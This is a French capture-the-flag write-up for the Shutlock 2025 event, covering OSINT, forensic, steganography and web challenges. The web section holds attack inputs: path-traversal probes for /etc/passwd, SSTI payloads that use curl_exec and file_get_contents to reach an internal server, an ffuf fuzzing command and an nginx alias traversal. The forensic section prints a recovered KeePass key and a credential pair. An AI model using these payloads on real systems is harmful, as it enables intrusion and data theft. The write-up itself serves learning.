Histoire
===============
OSINT : Un pingouin dans une botte de foin
----------------------------------------------
On cherche des infos sur Line Huks,
Avec IDCRAWL on trouve rapidement son twitter : https://x.com/LineHuks/with_replies
Puis avec "LineHuks" on trouve également :
- Blueskye : https://bsky.app/profile/linehuks.bsky.social
- Reddit : https://www.reddit.com/user/LineHuks/
Sur Reddit elle explique qu'on peut voir qui nous a partage une vidéo sur tiktok si on est sur mobile ou avec un user agent mobile
On passe donc chrome en mode mobile et on visite son lien tiktok posté sur blueskye : vm.tiktok.com/ZNdjwpCF4/
.. figure:: ../../_static/img/shutlock2025/shutlock_1.png
:alt: Compte Tiktok
:align: center
:width: 1200
On retrouve alors son compte Tiktok et ses publications.
Dans l'une d'elle on peut retrouver le flag : https://www.tiktok.com/@lestudiodutux/video/7500242847291968790
.. figure:: ../../_static/img/shutlock2025/shutlock_2.png
:alt: Compte Tiktok
:align: center
:width: 1200
On a donc notre flag : **SHLK{LABO_FOR4_CO5P}**
Forensic - Le Générique de Trop
-----------------------------------
On a plusieurs fichiers XML, dont un avec les sous titres du finalement
Dedans on retrouve ceci :
.. code-block:: XML
00:00:48,500
00:00:48,500
Dans Ce Pays, Hélas, malgré le fort potentiel qu'il A, C'est une période sombre : il subit un Krack Économique Dramatique.
Il y a des majuscules un peu partout, si on ne garde que les majuscules on obtient DCPHACKED
On test au cas ou, c'est bien notre flag : **SHLK{DCPHACKED}**
Web - Real Be
-----------------
On commence l'étape 2 avec le web
Le formulaire nous emmène sur cette url : http://57.128.112.118:11658/get_url.php?video=a&director=b&email=a%40a.fr
On trouve rapidement une injection html et une xss dans le paramètre "video" :
.. code-block:: console
http://57.128.112.118:11658/get_url.php?video=
test&director=b&email=a%40a.fr
http://57.128.112.118:11658/get_url.php?video=
&director=b&email=a%40a.fr
Mais a priori rien à en faire directement.
On se pose la question de la SSTI mais la page n'a aucun template.
On cherche plutôt un fichier en faites
Si on se rend sur http://57.128.112.118:11658/get_url.php
On obtient "Pas d'url ou de route donnée"
En ajoutant email ou director en paramètre, la page ne change pas, donc seul le paramètre video est utile.
.. code-block:: console
http://57.128.112.118:12116/get_url.php?video[1]=1
==> Erreur avec emplacement du fichier /var/www/html/get_url.php
http://57.128.112.118:11658/get_url.php?video=....//....//
==> Film « .... » introuvable.
==> filtre sur ../ ?
http://57.128.112.118:11658/get_url.php?video=..\..\..\..\..\etc\passwd
==> Film « ..\..\..\..\..\etc\passwd » introuvable.
http://57.128.112.118:11658/get_url.php?video=...//a
==> Film « a » introuvable.
On sait également que c'est du PHP, donc peut être un wrapper php ? Non
On a demandé de l'aide, en faites il faut déjà commencé par obtenir un film valide, et notamment "L is Dead" : http://57.128.112.118:11531/get_url.php?video=L+is+Dead
Ensuite on a un formulaire de commentaire, on test tout de suite {{7*7}} et on obtient 49.
Donc c'est une SSTI, et dans le code de la page on a :
.. code-block:: console
On va donc essayer de contacter ce serveur avec la SSTI :
.. code-block:: console
{{include("index.html")}}
{{include("https://invisible_server")}} ==> allow_url_include==O donc https désactivé, pareil avec http
{{file_get_contents('http://invisible_server/')}} ==> 403
{{file_get_contents('https://invisible_server/')}} ==> Connection refused
{{fopen("http://invisible_server/", "r");}} ==> 403
{{print_r(get_headers("http://invisible_server/", 1))}} ==> Array ( [0] => HTTP/1.1 403 Forbidden [Date] => Thu, 26 Jun2025 15:46:19 GMT [Server] => Apache/2.4.62 (Debian) [Content-Length] => 281 [Connection] => close [Content-Type] => text/html; charset=iso-8859-1 )
{{ curl_exec(curl_init("http://invisible_server/")) }} ==> 403 mais affiche la page
{{fopen("http://invisible_server/%20/", "r");}} ==> Resource id #3
{{print_r(get_headers("http://invisible_server/%20/", 1))}} ==> Array ( [0] => HTTP/1.1 200 OK [Date] => Thu, 26 Jun2025 16:16:06 GMT [Server] => Apache/2.4.62 (Debian) [X-Powered-By] => PHP/8.2.28 [Content-Length] => 60 [Connection] => close [Content-Type] => text/html; charset=UTF-8 )
{{ curl_exec(curl_init("http://invisible_server/%20/")) }} ==> La route demandée n’est pas correcte ou est indisponible
{{ curl_setopt($c = curl_init("http://invisible_server/%20/"), CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($c, CURLOPT_RETURNTRANSFER, true);curl_exec($c); }}
Finalement on part sur du fuzzing plutot que 403 bypass :
.. code-block:: console
ffuf -w doc/_static/files_to_download/wordlists/raft-medium-directories.txt -u "http://57.128.112.118:13003/get_url.php?video=L+is+Dead&comment=%7B%7B+curl_exec%28curl_init%28%22http%3A%2F%2Finvisible_server%2FFUZZ%22%29%29+%7D%7D" -fs 2096
/interne/
On obtient ceci :
"Bien joué ! Tu es arrivé sur le serveur secret !
Maintenant tu peux tenter de lister les ressources accessibles"
On va donc continuer le fuzzing jusqu'à trouve /interne/flag
.. code-block:: console
Tu viens de mettre la main sur des infos confidentielles, utiles pour la suite du challenge.
Le but reste de vérifier que les noms donnés dans les crédits ne divulguent pas ceux des agents du ministère.
Bon courage pour la deuxième partie du challenge.
webapp
├── app
│ ├── todo.txt
│ └── webroot
│ └── index.html
└── static
├── capybara_detective.png
├── snoopy_in_a_lab.png
├── L-is-dead.mp4
└── L-is-dead_DGSI.mp4.mp4
Lien vers le dossier des vidéos : http://57.128.85.25:50014/
Bon je savais pas trop quoi faire avec les .mp4, jme suis fait bait par la description
Il faut accéder au fichier todo.txt, on est sur un serveur nginx, ça sent la misconfig !
On fait : http://57.128.85.25:50014/static../app/todo.txt
Et on obtient notre flag : **SHLK{ssrf_f0und_th3_h1dd3n_p4th}**
Osint - Find The Lab
------------------------
Il faut retrouver le lieu de la photo prise :
.. figure:: ../../_static/img/shutlock2025/lab.png
:alt: ALEAPP
:align: center
:width: 1200
Misc - Affiche Etrange
--------------------------
En inspectant un peu l'image, j'ai vraiment l'impression qu'il y a quelque chose qui tient de la stegano, du type lastBuildDate
On va commencer par ce site :
On sait maintenant que le résultat de l'extration LSB est une image, mais pas possible de la récupérer via le site.
Donc on va faire un script :
.. code-block:: python
from PIL import Image
import itertools
PNG_SIGNATURE = b'\x89PNG\r\n\x1a\n'
def extract_lsb_stream(image_path, channels):
"""Extrait les bits LSB d'une image selon les canaux spécifiés, retourne un flux binaire."""
img = Image.open(image_path).convert("RGB")
pixels = list(img.getdata())
bitstream = []
for pixel in pixels:
for i, channel in enumerate("RGB"):
if channel in channels:
bitstream.append((pixel[i] & 1))
# Regrouper les bits en octets
bytes_out = bytearray()
for i in range(0, len(bitstream), 8):
byte_bits = bitstream[i:i+8]
if len(byte_bits) < 8:
break
byte = 0
for bit in byte_bits:
byte = (byte << 1) | bit
bytes_out.append(byte)
return bytes_out
def try_extract_png(image_path, output_prefix="extracted"):
"""Teste toutes les combinaisons de canaux pour retrouver un fichier PNG"""
combinations = []
for i in range(1, 4): # R, RG, RGB
combinations.extend(itertools.combinations("RGB", i))
for combo in combinations:
combo_str = ''.join(combo)
print(f"[*] Test combo: {combo_str}")
data = extract_lsb_stream(image_path, combo_str)
sig_index = data.find(PNG_SIGNATURE)
if sig_index != -1:
print(f"[+] PNG signature trouvée avec {combo_str} à l’offset {sig_index}")
png_data = data[sig_index:]
output_file = f"{output_prefix}_{combo_str}.png"
with open(output_file, "wb") as f:
f.write(png_data)
print(f"[✓] Fichier image extrait : {output_file}")
return output_file
print("[-] Aucun fichier PNG détecté.")
return None
if __name__ == "__main__":
try_extract_png("the_da_vinci_code.png")
On obtient alors une image qui dit : RENDEZ VOUS 24H ICI spszzm8m8 Ne soyez pas en retard.
On a donc un code qui détermine un lieu, peut être un mapcode ? A priori non
Ni un Plus Code.
Qu'est ce qu'il reste ? GeoHash (Merci GPT j'avoue)!! https://www.movable-type.co.uk/scripts/geohash.html
On saisit le code : spszzm8m8
Et on trouve le casino : **SHLK{casino_barriere_le_croisette}**
Forensic - Un cadavre peut en cacher un autre
------------------------------------------------
On nous donne un dossier compressé contenant les fichiers d'un téléphone portable
Avec ls -laR donc en récursif, on trouve rapidement un fichier nommé mes-données.kdbx
Donc une archive Keepass, mais ou trouver le mot de passe ?
On va utiliser ALEAPP https://github.com/abrignoni/ALEAPP
Celui ci va nous pondre un petit rapport bien sympas !
Dans la partie Google Message on va trouver ceci :
.. figure:: ../../_static/img/shutlock2025/aleapp.png
:alt: ALEAPP
:align: center
:width: 1200
On obtient alors cette clé qui nous permet d'ouvrir le Keepass :
.. code-block:: console
e,PY\;J{XKp!4.M4z1}7
Pour info on le trouve aussi ici dans l'image :
.. figure:: ../../_static/img/shutlock2025/aleapp2.png
:alt: ALEAPP
:align: center
:width: 1200
.. figure:: ../../_static/img/shutlock2025/aleapp3.jpg
:alt: ALEAPP
:align: center
:width: 1200
Dedans on trouve un compte :
.. code-block:: console
perso:KwiLTYldD6g1WNW6pcFD
Mais ce n'est pas le flag, alors que faire ?
On peut voir qu'il y a des fichiers "attachments" dans le keepass sur l'entrée.
On va les récupérer :
.. figure:: ../../_static/img/shutlock2025/boardpass.png
:alt: BoardPass
:align: center
:width: 1200
On a son identité, mais a priori ce n'est pas le flag.
Finalement on trouve notre flag :
.. figure:: ../../_static/img/shutlock2025/idcard.png
:alt: ID Card
:align: center
:width: 1200
Flag : **SHLK{OHL3S4LK4F4R}**
Et on ira pas plus loin parce que crypto et pwn hard, et bah tant pis haha !